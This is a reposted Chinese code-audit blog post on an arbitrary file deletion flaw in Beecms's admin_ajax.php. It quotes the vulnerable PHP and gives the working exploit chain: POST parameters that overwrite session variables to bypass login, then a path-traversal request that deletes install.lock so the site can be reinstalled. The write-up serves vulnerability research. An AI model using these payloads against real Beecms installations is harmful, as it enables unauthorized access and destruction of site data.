【Beecms代码审计篇】Beecms任意文件删除【转】

一、分析
Beecms图片删除模块,未对传入参数做控制,可任意文件删除
/admin/admin_ajax.php

[PHP] 纯文本查看 复制代码
1
2
3
4
5
elseif($action=='del_pic'){
        $file=CMS_PATH.'upload/'.$value;
        @unlink($file);
        die("图片成功删除");
}

其中,$value的值为删除文件路径,可控
admin_ajax.php文件有验证是否登录,通过包含init.php文件

[PHP] 纯文本查看 复制代码
1
include('init.php');

查看init.php验证登录部分

[PHP] 纯文本查看 复制代码
1
if(!is_login()){header('location:login.php');exit;}

查看函数is_login

[PHP] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
function is_login(){
        if($_SESSION['login_in']==1&&$_SESSION['admin']){
                if(time()-$_SESSION['login_time']>3600){
                        login_out();
                }else{
                        $_SESSION['login_time']=time();
                        @session_regenerate_id();
                }
                return 1;
        }else{
                $_SESSION['admin']='';
                $_SESSION['admin_purview']='';
                $_SESSION['admin_id']='';
                $_SESSION['admin_time']='';
                $_SESSION['login_in']='';
                $_SESSION['login_time']='';
                $_SESSION['admin_ip']='';
                return 0;
        }
}

这里,可通过大神的方法让验证,变量覆盖session,绕过验证
http://bbs.ichunqiu.com/thread-13977-1-3.html

二、利用

访问:http://localhost/BEECMS/index.php
POST提交:_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

然后访问:http://localhost/BEECMS/admin/admin_ajax.php
POST提交:action=del_pic&value=../data/install.lock

install.lock被删除

继续访问:http://localhost/BEECMS/install/
可覆盖安装

覆盖安装时,因为对单引号转义了,所以,没法闭合获得webshell。

此条目发表在未分类, 经验技术分类目录。将固定链接加入收藏夹。